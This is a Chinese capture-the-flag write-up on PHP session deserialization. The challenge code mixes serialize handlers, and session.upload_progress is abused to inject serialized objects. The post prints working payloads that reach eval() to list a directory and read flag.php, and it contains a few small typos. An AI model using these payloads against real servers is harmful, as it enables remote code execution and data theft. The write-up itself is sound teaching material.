pop链与php序列化入门

php学不好,一切都白搭(亲身体验)

直接上题,结合题目进行理解

<?php
//A webshell is wait for you
//flag in flag.php
ini_set('session.serialize_handler', 'php');
session_start();
//var_dump($_SESSION);
class OO0o0oO00o
{
    public $cool;
    function __construct()
    {
        $this->cool = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->cool);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OO0o0oO00o();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?> 

进行审计,并没有可以反序列化的点,但是发现了ini_set('session.serialize_handler', 'php');,这里选择session序列化处理器。
根据这里,如果没有上传PHPinfo这个参数,就显示源码

if(isset($_GET['phpinfo']))
{
    $m = new OO0o0oO00o();
}
else
{
    highlight_string(file_get_contents('index.php'));
}

所以我们上传这个参数,转到这页,在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里php版本为5.6.21,所以选择器默认为php_serialize,而在index页面,设置选择的是php(即ini_set(‘session.serialize_handler’, ‘php’)),这时候就要警惕,可能会造成session序列化选择器漏洞

  • 虽然我们在index.php中声明了选择php序列化选择器,但是这只是影响生成的session,而当session_start(),使用时,php就将session默认文件夹中的session进行反序列化。注意进行反序列化的时候会使用原来默认的序列化处理器。。反言之,只要我们将构造好的session放入session中,在session_start()后,就将session反序列化,就产生了漏洞

在这里插入图片描述
当发现session.upload_progress.enabled设置为on时,就有了可操作空间了
在这里插入图片描述
接下来我们就需要开始思考了,怎么才可以调用到类OO0o0oO00o中的eval()函数执行任意代码呢?

1.这里面没有任何一个可以进入的入口,但是我们要利用php反序列化必须要有序列化、反序列化函数
2.我们利用的是session的反序列化漏洞,怎么才能改变session呢
这时候就要利用我们之前发现的session.upload_progress.enabled

  • 通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。
  • session.upload_progress.enabled为On,当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,即就可以将filename的值赋值到session中。所以可以通过Session Upload Progress来设置session。

我们在本地搭建一个上传页面,代码如下

<form action="http://xxxxxxxx" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来构造pop链

<?php
class OO0o0oO00o
{
    public $cool='xxxxx';
}
$obj = new OO0o0oO00o();
echo serialize($obj);
?>

意思如下
[__PHP_Incomplete_Class_Name]=>OO0o0oO00o
[cool]=>xxxxx
找一个php在线运行的工具即可
在这里插入图片描述
在这里将xxxxx替换为print_r(scandir(dirname(__FILE__)));,print_f表输出,scandir用于扫描目录下文件,dirname用于显示所在目录,_FILE_表示当前文件
序列化后为

O:10:"OO0o0oO00o":1:{s:4:"cool";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上反斜杠\,利用前面的html页面随便上传一个东西,抓包,只把filename改为如下:(这里忘了截图,但是跟最后那个图是一样的改法)

|O:10:\"OO0o0oO00o\":1:{s:4:\"cool\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

这里可以得到当前文件的名字,flag.php,在一开始的phpinfo页中,也可以得到目录
再把xxxxx改为print_r(file_get_contents("/var/www/html/flag.php"));,继续运行
在这里插入图片描述
,得到playload

O:10:"OO0o0oO00o":1:{s:4:"cool";s:53:"print_r(file_get_contents("/var/www/html/flag.php"));";}

跟上面一样的改法

|O:10:\"OO0o0oO00o\":1:{s:4:\"cool";s:53:\"print_r(file_get_contents(\"/var/www/html/flag.php\"));\";}

bp抓包改filename,得到flag
请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值